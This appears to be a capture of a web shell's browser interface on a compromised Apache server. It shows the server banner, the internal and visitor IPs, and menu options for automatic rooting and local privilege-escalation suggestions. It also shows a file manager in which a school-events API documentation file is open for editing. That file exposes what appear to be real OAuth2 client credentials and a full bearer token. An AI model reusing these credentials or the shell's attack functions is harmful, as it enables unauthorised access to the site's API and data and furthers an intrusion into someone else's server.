Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.217.79
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
v3.cesa.co.za /
documentation /
Delete
Unzip
Name
Size
Permission
Date
Action
.htaccess
237
B
-r-xr-xr-x
2026-08-17 03:12
API_DOCUMENTATION.md
4.67
KB
-rwxrwxr-x
2026-04-02 11:48
MAILCHIMP_SETUP.md
4.44
KB
-rwxrwxr-x
2026-04-02 11:48
MAILCHIMP_TEST_SETUP.md
3.09
KB
-rwxrwxr-x
2025-07-04 14:25
SCHOOL_ATTENDEES_API.md
4.99
KB
-rwxrwxr-x
2025-07-04 14:25
Save
Rename
# School Events API Documentation ## Overview This API provides access to SchoolEvent data in CSV-style JSON format with OAuth2 authentication. ## Endpoint - **URL**: `/api/school-events` - **Method**: `GET` - **Authentication**: OAuth2 Bearer Token required ## Authentication The API uses OAuth2 authentication. You need to: 1. Create an OAuth2 client using the command: ```bash php8.4 bin/console league:oauth2-server:create-client "SAICE" --redirect-uri="https://v3.cesa.co.za" --grant-type="client_credentials" ``` 2. Get an access token using the client credentials: ```bash curl -X POST "https://v3.cesa.co.za/token" -H "Content-Type: application/x-www-form-urlencoded" -d "grant_type=client_credentials&client_id= c277b219863acf24ad19300c88393460&client_secret=2620c0a600e78a4492a46d5d411656fc44eda51ad64a4732b317c0ef6f691e88721dfb8b5bbc46bb4d7326bb54f0bcf642c0cec638cf5fcd10c7bc92dc30a232" ``` 3. Use the access token in your API requests: ```bash curl -X GET "https://v3.cesa.co.za/api/school-courses?training_provider_id=45" \ -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhdWQiOiJjMjc3YjIxOTg2M2FjZjI0YWQxOTMwMGM4ODM5MzQ2MCIsImp0aSI6IjVlN2QxZDM3NDhlZDU2Mjg1NDIzZDE4ZTk1NDBkNjZlYzQ0ZmMzYjA1Y2IxODVjNjkyYWNmYzNiZDlmYjc1M2U1MWNkZDg3ZDUwMTc1ZTk5IiwiaWF0IjoxNzYwNjA4ODY2LjA4MTIyMywibmJmIjoxNzYwNjA4ODY2LjA4MTIyNywiZXhwIjoxNzYwNjEyNDY2LjA3NTAyNSwic3ViIjoiYzI3N2IyMTk4NjNhY2YyNGFkMTkzMDBjODgzOTM0NjAiLCJzY29wZXMiOlsiZW1haWwiXX0.K26tNuOAejzQvPrM2RHlICPm1_DI32Ve3w9EuMlAra3o71DVrqiQp7QcFyprp0ZtfkP1OTd8Xs8rowjeWV8vlX5uZ45T3ibiNwFF5j5tW0OfQKdUVL3uhJc5iLPYbu4DKBWEP9LQrAGeWXi90nUr5F__WI9fK8GJbMCmH-9knIGD6rDh-FXixLGWfLeQh4MSjrKWJvk1aR1TgGKAZ1PB3xlJYs8itPUFyJQTxviujiBf_24uQ6WEcXUM2TJbqqI3ZXZ1W8YW4QefKAhhee0zEjofmACXJvFkRIVmy9cPjFhFxQtmJ75e64S1-RJwd9UEbbyXhb51ypAvk3HF-ExRyQ" ``` ## Response Format The API returns data in CSV-style JSON format with headers and data rows: ```json { "headers": [ "id", "event_name", "level", "city", "venue", "start_date", "end_date", "start_time", "end_time", "available_spaces", "cost_per_person", "event_description", "hours", "cpd", "code", "accred_num", "province", "reg_deadline", "member_discount", "early_bird_discount", "early_bird_date", "cancelled", "bank_acc_name", "external_link", "file_attachment", "candidate_academy", "booking_confirmed", "attendance_register", "sacpcmp_num" ], "data": [ [ "1", "Sample Event", "Beginner", "Johannesburg", "Conference Center", "2024-01-15 00:00:00", "2024-01-16 00:00:00", "09:00:00", "17:00:00", "50", "1500.00", "Sample event description", "8", "Yes", "EVT001", "ACC123", "Gauteng", "2024-01-10 00:00:00", "100.00", "200.00", "2024-01-05 00:00:00", "0", "Sample Bank Account", "https://example.com", "attachment.pdf", "Y", "Y", "register.pdf", "SAC123" ] ] } ``` ## Data Fields - **id**: Event ID - **event_name**: Name of the event - **level**: Event level (Beginner, Intermediate, Advanced, etc.) - **city**: City where the event takes place - **venue**: Venue name - **start_date**: Event start date (YYYY-MM-DD HH:MM:SS) - **end_date**: Event end date (YYYY-MM-DD HH:MM:SS) - **start_time**: Event start time (HH:MM:SS) - **end_time**: Event end time (HH:MM:SS) - **available_spaces**: Number of available spaces - **cost_per_person**: Cost per person - **event_description**: Event description - **hours**: Duration in hours - **cpd**: CPD (Continuing Professional Development) status - **code**: Event code - **accred_num**: Accreditation number - **province**: Province - **reg_deadline**: Registration deadline (YYYY-MM-DD HH:MM:SS) - **member_discount**: Member discount amount - **early_bird_discount**: Early bird discount amount - **early_bird_date**: Early bird deadline (YYYY-MM-DD HH:MM:SS) - **cancelled**: Cancellation status (0 = No, 1 = Yes) - **bank_acc_name**: Bank account name - **external_link**: External link - **file_attachment**: File attachment name - **candidate_academy**: Candidate academy status (Y/N) - **booking_confirmed**: Booking confirmation status (Y/N) - **attendance_register**: Attendance register file name - **sacpcmp_num**: SACPCMP number ## Error Responses - **401 Unauthorized**: Invalid or missing OAuth2 token - **403 Forbidden**: Insufficient permissions - **500 Internal Server Error**: Server error ## Rate Limiting Currently, no rate limiting is implemented. Please use the API responsibly. ## Support For technical support, please contact the development team.